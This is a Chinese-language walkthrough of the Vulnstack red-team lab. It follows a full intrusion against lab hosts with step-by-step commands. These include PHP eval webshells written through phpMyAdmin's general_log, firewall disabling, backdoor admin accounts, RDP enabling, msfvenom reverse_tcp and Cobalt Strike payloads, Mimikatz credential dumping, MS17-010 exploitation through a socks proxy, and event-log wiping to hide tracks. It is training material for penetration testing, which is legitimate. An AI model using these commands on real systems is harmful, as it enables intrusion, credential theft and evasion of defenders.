ATT&CK实战系列——红队实战(一)

文章目录

靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

开机密码:hongrisec@2019

进入环境后要先改系统密码

网络拓扑

环境搭建

先将 server2003 和 server2008 两台主机都设置为自定义VMnet1

VMnet1仅主机模式的子网地址改为192.168.52.0

Win7添加一块网卡,一块是NAT模式,另一块是VMnet1仅主机模式

IP地址:

win7:  192.168.52.128           10.9.75.6
2008:  192.168.52.138
2003:  192.168.52.141

启动Win7的Web服务

外网渗透

信息收集

端口扫描

nmap --min-rate 1000 10.9.75.6
bash 复制代码
sudo nmap -sT -sV  -sC -O -p 80,3306 10.9.75.6
bash 复制代码
sudo nmap --script=vuln -p 3306,80 10.9.75.6

目录扫描

御剑后台扫描工具

访问80端口

知道了网站的绝对路径C:/phpStudy/WWW

存在root:root弱口令

访问phpMyAdmin

漏洞利用

phpmyadmin拿shell

general_log_file写一句话

尝试能不能通过这个数据库管理页面写一句话,拿WebShell

sql 复制代码
SHOW GLOBAL VARIABLES LIKE "%secure%"

说明不能通过into outfile来写一句话

查看general_log是否开启

show global variables like "%general%"

开启general_log

sql 复制代码
set global general_log="on";

再次查询,此时日志功能就开启了

可以通过general_log_file指定为一个php后缀的文件,来写查询语句

sql 复制代码
set global general_log_file="C:\\phpstudy\\www\\shell.php";
sql 复制代码
select "<?php  @eval($_REQUEST[6868])?>";
蚁剑连接

进入文件管理,发现一个beifen.rar备份文件

下载到kali本地,然后解压

bash 复制代码
rar x beifen.rar

rar

解压:rar x FileName.rar

压缩:rar e FileName.rar

网站后台拿shell

http://10.9.75.6/yxcms/

http://10.9.75.6/yxcms/index.php?r=admin

登陆网站后台

新建前台模板,写一句话

<?php @eval($_POST['cmd'])?>; 

在拿到的备份文件中,找到模板的上传点

http://10.9.75.6/yxcms/protected/apps/default/view/default/

访问webshell.php

http://10.9.75.6/yxcms/protected/apps/default/view/default/webshell.php

关闭防火墙

bash 复制代码
netsh advfirewall show allprofile state     (显示防火墙)

netsh advfirewall set allprofiles state off (关闭防火墙)

新建用户,开启3389

bash 复制代码
net user saury 123.com /add # 添加账户密码
net localgroup administrators saury /add  # 添加为管理员权限
bash 复制代码
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 
# 开启3389端口

如果防火墙没关,rdp会登录失败

内网渗透

(一)CS

CS木马上线

kali既充当CS服务端,也充当CS客户端

启动服务端

客户端连接

开启监听

生成木马

点击Generate生成木马artifact_x64.exe,保存到 一个位置

木马上线

执行完木马文件后,CS木马就上线了

目标上线之后,我们第一步首先要做的就是先将睡眠时间设置为0

在会话交互框中输入命令:sleep 0,将睡眠时间设置为0

在会话交互框中输入shell whoami可以瞬间得到如下所示的回显,说明睡眠时间设置为0完成

信息收集

一些CS内网信息收集的命令

bash 复制代码
shell whoami                //显示administrator权限
shell systeminfo            //查看系统信息
shell ipconfig /all         //查看是否存在域

shell net time /domain          //获取当前域控制器的时间 输入该命令可能存在如下三种情况:存在域,当前用户不是域用户;存在域,当前用户是域用户;不存在域。

shell net view /domain      //查看所有域

shell nbtbios               //快速探测内网

shell net group "domain computers" /domain  //查看域控制器主机名

shell nltest /domain_trusts //查看域信任关系

shell net accounts /domain  //查看域内账号密码信息

shell nltest /dclist:hacker //查看当前域的域控制器
shell net group "Domain Controllers" /domain        //获取域控制器列表
shell net group "Domain Admins" /domain             //获取域管理员列表
shell Tasklist /v            //列出进程和进程用户
shell systeminfo   

查看域中的机器

hashdump
Mimikatz抓取明文密码

或者直接输入命令也可以执行logonpasswords

权限提升

利用ms15-051

将win7提成SYSTEM权限

横向移动

通过 Win7 跳板机,横向渗透拿下内网域内的域成员主机和域控主机

新建一个SMB监听器

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 psexecStageless Payload上线

拿下域控 主机

看到∞∞这个字符 ,这就是派生的SMB Beacon

查看其IP地址

再次通过拿下的域控拿下其他域成员机

横向成功!!!

CS痕迹清楚

根据入侵的路径依次删除上传的工具、删除Web日志、FTP日志等。

清除安全日志

shell wevtutil cl Security

清除系统日志,

shell wevtutil cl System

清除应用日志

shell wevtutil cl Application

清除启动日志

shell wevtutil cl Setup

清除RDP登录日志

bash 复制代码
shell wevtutil epl Security C:\Windows\System32\winevt\Logs\Security_new.evtx /q:"*[EventData[(Data[@Name='IpAddress']!='127.0.0.1')]]" /ow:true 

删除防火墙日志

shell del C:\Windows\System32\LogFiles\Firewall\pfirewall.log

删除PowerShell执行历史记录

bash 复制代码
shell del 
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

(二)MSF

msf木马上线

制作msf木马

bash 复制代码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=your-IP LPORT=your-PORT -f exe -o /home/kali/tmp/shell.exe

开启msf监听

bash 复制代码
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.9.75.3
set lport 4567
run

通过蚁剑将生成的木马上传并运行

木马成功上线,进行system提权

信息收集

首先获取目标主机的shell

出现乱码,可以使用chcp 65001解决乱码问题

查看路由表

bash 复制代码
route print

可以看出内网网段是192.168.52.0/24

查看系统信息

bash 复制代码
systeminfo

查看是否在域内

bash 复制代码
ipconfig /all
bash 复制代码
net view /domain  #查询当前主机是否加入域,如果加入则列出域名
bash 复制代码
net view //查看域内主机

得到域内其他主机地址

  • OWA:192.168.52.138
  • ROOT-TVI862UBEH:192.168.52.141

查看域内用户

bash 复制代码
net user /domain

获取主机用户密码哈希

bash 复制代码
hashdump

用户哈希数据的输出格式为:

shell 复制代码
用户名:SID:LM哈希:NTLM哈希:::

这是因为当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,密码字段显示为null,需要修改注册表等用户重新登录后才能成功抓取。

MSF使用_MSF中kiwi(mimikatz)模块的使用

尝试抓取域内的账号密码:利用 msf 的 kiwi 模块

bash 复制代码
load kiwi #加载kiwi模块
help kiwi #查看kiwi模块的使用

注意执行需要system权限

bash 复制代码
creds_all         #列举所有凭据
creds_kerberos    #列举域内账号密码

横向移动

为了让 msf 能访问内网的其他主机,即 52 网段的攻击流量都通过已渗透的这台目标主机(Windows7)的meterpreter会话来传递,需要建立socks反向代理。

注:添加路由一定要在挂代理之前,因为代理需要用到路由功能

添加路由、挂上Socks4a代理

使用 msf+proxychains 搭建socks4a隧道,设置内网路由

run autoroute -s 192.168.52.0/24  # 添加内网的路由
run autoroute -p  # 查看路由

暂时把会话挂起来background

use auxiliary/server/socks_proxy    //使用socks代理

set SRVHOST 10.9.75.3        //MSF本机的IP地址

set VERSION 4a                      //设置socks代理的版本

exploit            //开始代理

然后在 proxychains 的配置文件 /etc/proxychains4.conf,添加Kali本机的1080端口:

bash 复制代码
sudo vim /etc/proxychains4.conf 

然后执行命令时,前面加上 proxychains 即可

nmap漏洞扫描
bash 复制代码
proxychains nmap --script=vuln 192.168.52.141
ms17-010命令执行

知道了目标主机中存在一些漏洞:MS08-067、MS17-010等等,我们就可以用MS17-010的EXP来拿下目标主机,MS17-010的EXP打不了,它这个漏洞有很多莫名其妙的问题,很多其它的因素会导致各种各样的问题出现,打不了并不代表这个漏洞利用不了,有别的玩法,同样也是用MS17-010,MS17-010这个漏洞不光是可以用来拿权限,我们还可以用它来干其它的操作,比如说我们可以用这个漏洞来添加一个账户,因此我们需要用到对应的一个模块,在kali的具有MSF的那个终端中输入命令:这个模块可以在MSF中输入search ms17-010来搜索到,输入完命令之后,会出现很多模块

bash 复制代码
set rhosts 192.168.52.141        //设置IP地址为目标主机的IP地址

set COMMAND net user hack 123.com /add    //设置要添加的账号和密码,密码在设置的时候要注意:这里的密码设置有一个策略的问题存在,所以我们在设置密码的时候需要搞得复杂一点,不然过不了

exploit        //执行

得到以下的结果,说明执行成功

继续执行,将创建的hack用户添加到管理员组

bash 复制代码
set command net localgroup administrators hack /add
exploit

查看用户是否添加到管理员组里面

bash 复制代码
set command net localgroup administrators

开启3389

因为开启3389端口命令中有两个双引号,如果整条命令外面不用单引号扩一下或者用双引号扩了,会出现一些符号闭合上的问题

bash 复制代码
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
rdesktop远程连接

安装rdesktop

bash 复制代码
sudo apt install rdesktop
bash 复制代码
proxychains rdesktop 192.168.52.141
相关推荐
明月看潮生9 分钟前
青少年编程与数学 02-003 Go语言网络编程 15课题、Go语言URL编程
开发语言·网络·青少年编程·golang·编程与数学
龙哥说跨境1 小时前
如何利用指纹浏览器爬虫绕过Cloudflare的防护?
服务器·网络·python·网络爬虫
懒大王就是我1 小时前
C语言网络编程 -- TCP/iP协议
c语言·网络·tcp/ip
Elaine2023911 小时前
06 网络编程基础
java·网络
海绵波波1073 小时前
Webserver(4.3)TCP通信实现
服务器·网络·tcp/ip
热爱跑步的恒川6 小时前
【论文复现】基于图卷积网络的轻量化推荐模型
网络·人工智能·开源·aigc·ai编程
云飞云共享云桌面6 小时前
8位机械工程师如何共享一台图形工作站算力?
linux·服务器·网络
音徽编程9 小时前
Rust异步运行时框架tokio保姆级教程
开发语言·网络·rust
幺零九零零10 小时前
【C++】socket套接字编程
linux·服务器·网络·c++
23zhgjx-NanKon10 小时前
华为eNSP:QinQ
网络·安全·华为